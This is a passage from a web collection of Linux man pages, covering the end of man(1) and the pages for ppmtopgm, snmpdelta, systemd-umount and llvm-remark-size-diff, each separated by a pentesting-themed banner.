Normally, nroff will automatically hyphenate text at line breaks even in words that do not contain hyphens, if it is necessary to do so to lay out words on a line without excessive spacing. This option disables automatic hyphenation, so words will only be hyphenated if they already contain hyphens.

If you are writing a manual page and simply want to prevent nroff from hyphenating a word at an inappropriate point, do not use this option, but consult the nroff documentation instead; for instance, you can put “" inside a word to indicate that it may be hyphenated at that point, or put “" at the start of a word to prevent it from being hyphenated.

–no-justification, –nj
Normally, nroff will automatically justify text to both margins. This option disables full justification, leaving justified only to the left margin, sometimes called “ragged-right” text.

If you are writing a manual page and simply want to prevent nroff from justifying certain paragraphs, do not use this option, but consult the nroff documentation instead; for instance, you can use the “.na”, “.nf”, “.fi”, and “.ad” requests to temporarily disable adjusting and filling.

**-p string, **–preprocessor=****string
Specify the sequence of preprocessors to run before nroff or troff/groff. Not all installations will have a full set of preprocessors. Some of the preprocessors and the letters used to designate them are: eqn (e), grap (g), pic (p), tbl (t), vgrind (v), refer (r). This option overrides the $MANROFFSEQ environment variable. zsoelim is always run as the very first preprocessor.

-t, –troff
Use groff -mandoc to format the manual page to stdout. This option is not required in conjunction with -H, -T, or -Z.

-T[device], –troff-device[=device]
This option is used to change groff (or possibly troff’s) output to be suitable for a device other than the default. It implies -t. Examples (as of groff 1.23.0) include dvi, latin1, pdf, ps, utf8, X75 and X100.

-H[browser], –html[=browser]
This option will cause groff to produce HTML output, and will display that output in a web browser. The choice of browser is determined by the optional browser argument if one is provided, by the $BROWSER environment variable, or by a compile-time default if that is unset (usually lynx). This option implies -t, and will only work with GNU troff.

-X[dpi], –gxditview[=dpi]
This option displays the output of groff in a graphical window using the gxditview program. The dpi (dots per inch) may be 75, 75-12, 100, or 100-12, defaulting to 75; the -12 variants use a 12-point base font. This option implies -T with the X75, X75-12, X100, or X100-12 device respectively.

-Z, –ditroff
groff will run troff and then use an appropriate post-processor to produce output suitable for the chosen device. If groff -mandoc is groff, this option is passed to groff and will suppress the use of a post-processor. It implies -t.

Getting help

-?, –help
Print a help message and exit.

–usage
Print a short usage message and exit.

-V, –version
Display version information.

EXIT STATUS

0
Successful program execution.

1
Usage, syntax or configuration file error.

2
Operational error.

3
A child process returned a non-zero exit status.

16
At least one of the pages/files/keywords didn’t exist or wasn’t matched.

ENVIRONMENT

MANPATH
If $MANPATH is set, its value is used as the path to search for manual pages.

See the SEARCH PATH section of manpath(5) for the default behaviour and details of how this environment variable is handled.

MANROFFOPT
Every time man invokes the formatter (nroff, troff, or groff), it adds the contents of $MANROFFOPT to the formatter’s command line.

For example, MANROFFOPT=-P-i tells the formatter to use italic text (which is only supported by some terminals) rather than underlined text.

MANROFFSEQ
If $MANROFFSEQ is set, its value is used to determine the set of preprocessors to pass each manual page through. The default preprocessor list is system dependent.

MANSECT
If $MANSECT is set, its value is a colon-delimited list of sections and it is used to determine which manual sections to search and in what order. The default is “1 n l 8 3 0 2 3type 3posix 3pm 3perl 3am 5 4 9 6 7”, unless overridden by the SECTION directive in /etc/manpath.config.

MANPAGER,** PAGER**
If $MANPAGER or $PAGER is set ($MANPAGER is used in preference), its value is used as the name of the program used to display the manual page. By default, pager is used, falling back to cat if pager is not found or is not executable.

The value may be a simple command name or a command with arguments, and may use shell quoting (backslashes, single quotes, or double quotes). It may not use pipes to connect multiple commands; if you need that, use a wrapper script, which may take the file to display either as an argument or on standard input.

MANLESS
If $MANLESS is set, its value will be used as the default prompt string for the less pager, as if it had been passed using the -r option (so any occurrences of the text $MAN_PN will be expanded in the same way). For example, if you want to set the prompt string unconditionally to “my prompt string”, set $MANLESS to ‘-Psmy prompt string’. Using the -r option overrides this environment variable.

BROWSER
If $BROWSER is set, its value is a colon-delimited list of commands, each of which in turn is used to try to start a web browser for man –html. In each command, %s is replaced by a filename containing the HTML output from groff, %% is replaced by a single percent sign (%), and %c is replaced by a colon (:).

SYSTEM
If $SYSTEM is set, it will have the same effect as if it had been specified as the argument to the -m option.

MANOPT
If $MANOPT is set, it will be parsed prior to man’s command line and is expected to be in a similar format. As all of the other man specific environment variables can be expressed as command line options, and are thus candidates for being included in $MANOPT it is expected that they will become obsolete. N.B. All spaces that should be interpreted as part of an option’s argument must be escaped.

MANWIDTH
If $MANWIDTH is set, its value is used as the line length for which manual pages should be formatted. If it is not set, manual pages will be formatted with a line length appropriate to the current terminal (using the value of $COLUMNS, and ioctl(2) if available, or falling back to 80 characters if neither is available). Cat pages will only be saved when the default formatting can be used, that is when the terminal line length is between 66 and 80 characters.

MAN_KEEP_FORMATTING
Normally, when output is not being directed to a terminal (such as to a file or a pipe), formatting characters are discarded to make it easier to read the result without special tools. However, if $MAN_KEEP_FORMATTING is set to any non-empty value, these formatting characters are retained. This may be useful for wrappers around man that can interpret formatting characters.

MAN_KEEP_STDERR
Normally, when output is being directed to a terminal (usually to a pager), any error output from the command used to produce formatted versions of manual pages is discarded to avoid interfering with the pager’s display. Programs such as groff often produce relatively minor error messages about typographical problems such as poor alignment, which are unsightly and generally confusing when displayed along with the manual page. However, some users want to see them anyway, so, if $MAN_KEEP_STDERR is set to any non-empty value, error output will be displayed as usual.

MAN_DISABLE_SECCOMP
On Linux, man normally confines subprocesses that handle untrusted data using a seccomp(2) sandbox. This makes it safer to run complex parsing code over arbitrary manual pages. If this goes wrong for some reason unrelated to the content of the page being displayed, you can set $MAN_DISABLE_SECCOMP to any non-empty value to disable the sandbox.

PIPELINE_DEBUG
If the $PIPELINE_DEBUG environment variable is set to “1”, then man will print debugging messages to standard error describing each subprocess it runs.

LANG,** LC_MESSAGES**
Depending on system and implementation, either or both of $LANG and $LC_MESSAGES will be interrogated for the current message locale. man will display its messages in that locale (if available). See setlocale(3) for precise details.

FILES

/etc/manpath.config
man-db configuration file.

/usr/share/man
A global manual page hierarchy.

STANDARDS

POSIX.1-2001, POSIX.1-2008, POSIX.1-2017.

SEE ALSO

apropos(1), groff(1), less(1), manpath(1), nroff(1), troff(1), whatis(1), zsoelim(1), manpath(5), man(7), catman(8), mandb(8)

Documentation for some packages may be available in other formats, such as info(1) or HTML.

HISTORY

1990, 1991 – Originally written by John W. Eaton ([email protected]).

Dec 23 1992: Rik Faith ([email protected]) applied bug fixes supplied by Willem Kasdorp ([email protected]).

30th April 1994 – 23rd February 2000: Wilf. ([email protected]) has been developing and maintaining this package with the help of a few dedicated people.

30th October 1996 – 30th March 2001: Fabrizio Polacco <[email protected]> maintained and enhanced this package for the Debian project, with the help of all the community.

31st March 2001 – present day: Colin Watson <[email protected]> is now developing and maintaining man-db.

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

880 - Linux cli command ppmtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopgm and provides detailed information about the command ppmtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopgm.

.

NAME 🖥️ ppmtopgm 🖥️

convert a PPM image to a PGM image

SYNOPSIS

ppmtopgm

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopgm reads a PPM as input and produces a PGM as output. The output is a “black and white” rendering of the original image, as in a black and white photograph. The quantization formula ppmtopgm uses is y = .299 r + .587 g + .114 b.

The dimensions and maxval of the output are the same as the input. Note that with only one color plane, there are far fewer brightnesses that can be represented with the same maxval than with three color planes, so you may want to increase the maxval of the input with pamdepth before giving it to ppmtopgm to avoid loss of information. For example, with a maxval of 1, there are 8 brightnesses that are possible in a PPM (though some of them are barely distinguishable), but only 2 brightness levels possible in a PGM.

Note that although there is a pgmtoppm program, it is not necessary for simple conversions from pgm to ppm , because any ppm program can read pgm (and pbm ) files automatically. pgmtoppm is for colorizing a pgm file. Also, see ppmtorgb3 for a different way of converting color to gray. And ppmdist generates a grayscale image from a color image, but in a way that makes it easy to differentiate the original colors, not necessarily a way that looks like a black and white photograph.

OPTIONS

There are no command line options defined specifically for ppmtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

QUOTE

Cold-hearted orb that rules the night
Removes the colors from our sight
Red is gray, and yellow white
But we decide which is right
And which is a quantization error.

SEE ALSO

pgmtoppm(1) , ppmtorgb3(1) , rgb3toppm(1) , ppmdist(1) , ppm(1) , pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

881 - Linux cli command snmpdelta

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpdelta and provides detailed information about the command snmpdelta, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpdelta.

NAME 🖥️ snmpdelta 🖥️

Monitor delta differences in SNMP Counter values

SYNOPSIS

snmpdelta [ COMMON OPTIONS ] [-Cf] [ -Ct ] [ -Cs ] [ -CS ] [ -Cm ] [ -CF configfile ] [ -Cl ] [ -Cp period ] [ -CP Peaks ] [ -Ck ] [ -CT ] AGENT OID [ OID … ]

DESCRIPTION

snmpdelta will monitor the specified integer valued OIDs, and report changes over time.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See snmpcmd(1) for a full list of the possible formats for AGENT.

OID is an object identifier which uniquely identifies the object type within a MIB. Multiple OIDs can be specified on a single snmpdelta command.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cf
Don’t fix errors and retry the request. Without this option, if multiple oids have been specified for a single request and if the request for one or more of the oids fails, snmpdelta will retry the request so that data for oids apart from the ones that failed will still be returned. Specifying -Cf tells snmpdelta not to retry a request, even if there are multiple oids specified.

-Ct
Flag will determine time interval from the monitored entity.

-Cs
Flag will display a timestamp.

-CS
Generates a “sum count” in addition to the individual instance counts. The “sum count” is the total of all the individual deltas for each time period.

-Cm
Prints the max value ever attained.

-CF configfile
Tells snmpdelta to read it’s configuration from the specified file. This options allows the input to be set up in advance rather than having to be specified on the command line.

-Cl
Tells snmpdelta to write it’s configuration to files whose names correspond to the MIB instances monitored. For example, snmpdelta -Cl localhost ifInOctets.1 will create a file “localhost-ifInOctets.1”.

-Cp
Specifies the number of seconds between polling periods. Polling constitutes sending a request to the agent. The default polling period is one second.

-CP peaks
Specifies the reporting period in number of polling periods. If this option is specified, snmpdelta polls the agent peaks number of times before reporting the results. The result reported includes the average value over the reporting period. In addition, the highest polled value within the reporting period is shown.

-Ck
When the polling period (-Cp) is an increment of 60 seconds and the timestamp is displayed in the output (-Cs), then the default display shows the timestamp in the format hh:mm mm/dd. This option causes the timestamp format to be hh:mm:ss mm/dd.

-CT
Makes snmpdelta print its output in tabular form.

-Cv vars/pkt
Specifies the maximum number of oids allowed to be packaged in a single PDU. Multiple PDUs can be created in a single request. The default value of variables per packet is 60. This option is useful if a request response results in an error because the packet is too big.

Note that snmpdelta REQUIRES an argument specifying the agent to query and at least one OID argument, as described in the snmpcmd(1) manual page.

EXAMPLES

$ snmpdelta -c public -v 1 -Cs localhost IF-MIB::ifInUcastPkts.3 IF-MIB::ifOutUcastPkts.3
[20:15:43 6/14] ifInUcastPkts.3 /1 sec: 158
[20:15:43 6/14] ifOutUcastPkts.3 /1 sec: 158
[20:15:44 6/14] ifInUcastPkts.3 /1 sec: 184
[20:15:44 6/14] ifOutUcastPkts.3 /1 sec: 184
[20:15:45 6/14] ifInUcastPkts.3 /1 sec: 184
[20:15:45 6/14] ifOutUcastPkts.3 /1 sec: 184
[20:15:46 6/14] ifInUcastPkts.3 /1 sec: 158
[20:15:46 6/14] ifOutUcastPkts.3 /1 sec: 158
[20:15:47 6/14] ifInUcastPkts.3 /1 sec: 184
[20:15:47 6/14] ifOutUcastPkts.3 /1 sec: 184
[20:15:48 6/14] ifInUcastPkts.3 /1 sec: 184
[20:15:48 6/14] ifOutUcastPkts.3 /1 sec: 184
[20:15:49 6/14] ifInUcastPkts.3 /1 sec: 158
[20:15:49 6/14] ifOutUcastPkts.3 /1 sec: 158
^C
$ snmpdelta -c public -v 1 -Cs -CT localhost IF-MIB:ifInUcastPkts.3 IF-MIB:ifOutcastPkts.3
localhost	ifInUcastPkts.3	ifOutUcastPkts.3
[20:15:59 6/14]	184.00	184.00
[20:16:00 6/14]	158.00	158.00
[20:16:01 6/14]	184.00	184.00
[20:16:02 6/14]	184.00	184.00
[20:16:03 6/14]	158.00	158.00
[20:16:04 6/14]	184.00	184.00
[20:16:05 6/14]	184.00	184.00
[20:16:06 6/14]	158.00	158.00
^C

The following example uses a number of options. Since the Cl option is specified, the output is sent to a file and not to the screen.

$ snmpdelta -c public -v 1 -Ct -Cs -CS -Cm -Cl -Cp 60 -CP 60
  interlink.sw.net.cmu.edu .1.3.6.1.2.1.2.2.1.16.3 .1.3.6.1.2.1.2.2.1.16.4

SEE ALSO

snmpcmd(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

882 - Linux cli command systemd-umount

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-umount and provides detailed information about the command systemd-umount, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-umount.

NAME 🖥️ systemd-umount 🖥️

mount, systemd-umount - Establish and destroy transient mount or auto-mount points

SYNOPSIS

systemd-mount [OPTIONS…] WHAT [WHERE]

systemd-mount [OPTIONS…] –tmpfs [NAME] WHERE

systemd-mount [OPTIONS…] –list

systemd-mount [OPTIONS…] –umount WHAT|WHERE

DESCRIPTION

systemd-mount may be used to create and start a transient .mount or .automount unit of the file system WHAT on the mount point WHERE.

In many ways, systemd-mount is similar to the lower-level mount(8) command, however instead of executing the mount operation directly and immediately, systemd-mount schedules it through the service manager job queue, so that it may pull in further dependencies (such as parent mounts, or a file system checker to execute a priori), and may make use of the auto-mounting logic.

The command takes either one or two arguments. If only one argument is specified it should refer to a block device or regular file containing a file system (e.g. “/dev/sdb1” or “/path/to/disk.img”). The block device or image file is then probed for a file system label and other metadata, and is mounted to a directory below /run/media/system/ whose name is generated from the file system label. In this mode the block device or image file must exist at the time of invocation of the command, so that it may be probed. If the device is found to be a removable block device (e.g. a USB stick), an automount point is created instead of a regular mount point (i.e. the –automount= option is implied, see below). If the option –tmpfs is specified, then the argument is interpreted as the path where the new temporary file system shall be mounted.

If two arguments are specified, the first indicates the mount source (the WHAT) and the second indicates the path to mount it on (the WHERE). In this mode no probing of the source is attempted, and a backing device node doesnt have to exist. However, if this mode is combined with –discover, device node probing for additional metadata is enabled, and – much like in the single-argument case discussed above – the specified device has to exist at the time of invocation of the command.

Use the –list command to show a terse table of all local, known block devices with file systems that may be mounted with this command.

systemd-umount can be used to unmount a mount or automount point. It is the same as systemd-mount –umount.

OPTIONS

The following options are understood:

–no-block

Do not synchronously wait for the requested operation to finish. If this is not specified, the job will be verified, enqueued and systemd-mount will wait until the mount or automount units start-up is completed. By passing this argument, it is only verified and enqueued.

Added in version 232.

-l, –full

Do not ellipsize the output when –list is specified.

Added in version 245.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

–no-ask-password

Do not query the user for authentication for privileged operations.

–quiet, -q

Suppresses additional informational output while running.

Added in version 232.

–discover

Enable probing of the mount source. This switch is implied if a single argument is specified on the command line. If passed, additional metadata is read from the device to enhance the unit to create. For example, a descriptive string for the transient units is generated from the file system label and device model. Moreover if a removable block device (e.g. USB stick) is detected an automount unit instead of a regular mount unit is created, with a short idle timeout, in order to ensure the file-system is placed in a clean state quickly after each access.

Added in version 232.

–type=, -t

Specifies the file system type to mount (e.g. “vfat” or “ext4”). If omitted or set to “auto”, the file system type is determined automatically.

Added in version 232.

–options=, -o

Additional mount options for the mount point.

Added in version 232.

**–owner=**USER

Let the specified user USER own the mounted file system. This is done by appending uid= and gid= options to the list of mount options. Only certain file systems support this option.

Added in version 237.

–fsck=

Takes a boolean argument, defaults to on. Controls whether to run a file system check immediately before the mount operation. In the automount case (see –automount= below) the check will be run the moment the first access to the device is made, which might slightly delay the access.

Added in version 232.

–description=

Provide a description for the mount or automount unit. See Description= in systemd.unit(5).

Added in version 232.

–property=, -p

Sets a unit property for the mount unit that is created. This takes an assignment in the same format as systemctl(1)s set-property command.

Added in version 232.

–automount=

Takes a boolean argument. Controls whether to create an automount point or a regular mount point. If true an automount point is created that is backed by the actual file system at the time of first access. If false a plain mount point is created that is backed by the actual file system immediately. Automount points have the benefit that the file system stays unmounted and hence in clean state until it is first accessed. In automount mode the –timeout-idle-sec= switch (see below) may be used to ensure the mount point is unmounted automatically after the last access and an idle period passed.

If this switch is not specified it defaults to false. If not specified and –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, it is set to true, in order to increase the chance that the file system is in a fully clean state if the device is unplugged abruptly.

Added in version 232.

-A

Equivalent to –automount=yes.

Added in version 232.

–timeout-idle-sec=

Takes a time value that controls the idle timeout in automount mode. If set to “infinity” (the default) no automatic unmounts are done. Otherwise the file system backing the automount point is detached after the last access and the idle timeout passed. See systemd.time(7) for details on the time syntax supported. This option has no effect if only a regular mount is established, and automounting is not used.

Note that if –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, –timeout-idle-sec=1s is implied.

Added in version 232.

–automount-property=

Similar to –property=, but applies additional properties to the automount unit created, instead of the mount unit.

Added in version 232.

–bind-device

This option only has an effect in automount mode, and controls whether the automount unit shall be bound to the backing devices lifetime. If set, the automount unit will be stopped automatically when the backing device vanishes. By default the automount unit stays around, and subsequent accesses will block until backing device is replugged. This option has no effect in case of non-device mounts, such as network or virtual file system mounts.

Note that if –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, this option is implied.

Added in version 232.

–list

Instead of establishing a mount or automount point, print a terse list of block devices containing file systems that may be mounted with “systemd-mount”, along with useful metadata such as labels, etc.

Added in version 232.

-u, –umount

Stop the mount and automount units corresponding to the specified mount points WHERE or the devices WHAT. systemd-mount with this option or systemd-umount can take multiple arguments which can be mount points, devices, /etc/fstab style node names, or backing files corresponding to loop devices, like systemd-mount –umount /path/to/umount /dev/sda1 UUID=xxxxxx-xxxx LABEL=xxxxx /path/to/disk.img. Note that when -H or -M is specified, only absolute paths to mount points are supported.

Added in version 233.

-G, –collect

Unload the transient unit after it completed, even if it failed. Normally, without this option, all mount units that mount and failed are kept in memory until the user explicitly resets their failure state with systemctl reset-failed or an equivalent command. On the other hand, units that stopped successfully are unloaded immediately. If this option is turned on the “garbage collection” of units is more aggressive, and unloads units regardless if they exited successfully or failed. This option is a shortcut for –property=CollectMode=inactive-or-failed, see the explanation for CollectMode= in systemd.unit(5) for further information.

Added in version 236.

-T, –tmpfs

Create and mount a new tmpfs file system on WHERE, with an optional NAME that defaults to “tmpfs”.

The file system is mounted with the top-level directory mode determined by the umask(2) setting of the caller, i.e. rwxrwxrwx masked by the umask of the caller. This matches what mkdir(1) does, but is different from the kernel default of “rwxrwxrwxt”, i.e. a world-writable directory with the sticky bit set.

Added in version 255.

–user

Talk to the service manager of the calling user, rather than the service manager of the system.

–system

Talk to the service manager of the system. This is the implied default.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

THE UDEV DATABASE

If –discover is used, systemd-mount honors a couple of additional udev properties of block devices:

SYSTEMD_MOUNT_OPTIONS=

The mount options to use, if –options= is not used.

Added in version 232.

SYSTEMD_MOUNT_WHERE=

The file system path to place the mount point at, instead of the automatically generated one.

Added in version 232.

EXAMPLE

Use a udev rule like the following to automatically mount all USB storage plugged in:

ACTION==“add”, SUBSYSTEMS==“usb”, SUBSYSTEM==“block”, ENV{ID_FS_USAGE}==“filesystem”,
RUN{program}+="/usr/bin/systemd-mount –no-block –automount=yes –collect $devnode"

SEE ALSO

systemd(1), mount(8), systemctl(1), systemd.unit(5), systemd.mount(5), systemd.automount(5), systemd-run(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

883 - Linux cli command llvm-remark-size-diff-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-remark-size-diff-16 and provides detailed information about the command llvm-remark-size-diff-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-remark-size-diff-16.

NAME 🖥️ llvm-remark-size-diff-16 🖥️

remark-size-diff - diff size remarks

SYNOPSIS

llvm-remark-size-diff [options] file_a file_b –parser parser

DESCRIPTION

llvm-remark-size-diff diffs size remarks in two remark files: file_a and file_b.

llvm-remark-size-diff can be used to gain insight into which functions were impacted the most by code generation changes.

In most common use-cases file_a and file_b will be remarks output by compiling a fixed source with differing compilers or differing optimization settings.

llvm-remark-size-diff handles both YAML and bitstream remarks.

OPTIONS

–parser=<yaml|bitstream>
Select the type of input remark parser. Required. * yaml: The tool will parse YAML remarks. * bitstream: The tool will parse bitstream remarks.

–report-style=<human|json>
Output style. * human: Human-readable textual report. Default option. * json: JSON report.

–pretty
Pretty-print JSON output. Optional.

If output is not set to JSON, this does nothing.

-o=<file>
Output file for the report. Outputs to stdout by default.

HUMAN-READABLE OUTPUT

The human-readable format for llvm-remark-size-diff is composed of two sections:

  • Per-function changes.

  • A high-level summary of all changes.

Changed Function Section

Suppose you are comparing two remark files OLD and NEW.

For each function with a changed instruction count in OLD and NEW, llvm-remark-size-diff will emit a line like below:

(++|–|==) (>|<) function_name, N instrs, M stack B

A breakdown of the format is below:

(++|–|==)
Which of OLD and NEW the function_name is present in.

  • ++: Only in NEW. (“Added”)

  • : Only in OLD. (“Removed”)

  • ==: In both.

(>|<)
Denotes if function_name has more instructions or fewer instructions in the second file.

  • >: More instructions in second file than first file.

  • <: Fewer instructions in second file than in first file.

function_name
The name of the changed function.

N instrs
Second file instruction count - first file instruction count.

M stack B
Second file stack byte count - first file stack byte count.

Summary Section

llvm-remark-size-diff will output a high-level summary after printing all changed functions.

instruction count: N (inst_pct_change%) stack byte usage: M (sb_pct_change%)

N
Sum of all instruction count changes between the second and first file.

inst_pct_change%
Percent increase or decrease in instruction count between the second and first file.

M
Sum of all stack byte count changes between the second and first file.

sb_pct_change%
Percent increase or decrease in stack byte usage between the second and first file.

JSON OUTPUT

High-Level view

Suppose we are comparing two files, OLD and NEW.

llvm-remark-size-diff will output JSON as follows.

“Files”: [ “A”: “path/to/OLD”, “B”: “path/to/NEW” ]

"InBoth": [
  ...
],

"OnlyInA": [
  ...
],

"OnlyInB": [
  ...
]

Files
Original paths to remark files.

  • A: Path to the first file.

  • B: Path to the second file.

InBoth
Functions present in both files.

OnlyInA
Functions only present in the first file.

OnlyInB
Functions only present in the second file.

Function JSON

The InBoth, OnlyInA, and OnlyInB sections contain size information for each function in the input remark files.

{ “FunctionName” : “function_name” “InstCount”: [ INST_COUNT_A, INST_COUNT_B ], “StackSize”: [ STACK_BYTES_A, STACK_BYTES_B ], }

FunctionName
Name of the function.

InstCount
Instruction counts for the function.

  • INST_COUNT_A: Instruction count in OLD.

  • INST_COUNT_B: Instruction count in NEW.

StackSize
Stack byte counts for the function.

  • STACK_BYTES_A: Stack bytes in OLD.

  • STACK_BYTES_B: Stack bytes in NEW.

Computing Diffs From Function JSON

Function JSON does not contain the diffs. Tools consuming JSON output from llvm-remark-size-diff are responsible for computing the diffs separately.

To compute the diffs:

  • Instruction count diff: INST_COUNT_B - INST_COUNT_A

  • Stack byte count diff: STACK_BYTES_B - STACK_BYTES_A

EXIT STATUS

llvm-remark-size-diff returns 0 on success, and a non-zero value otherwise.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

884 - Linux cli command psfstriptable

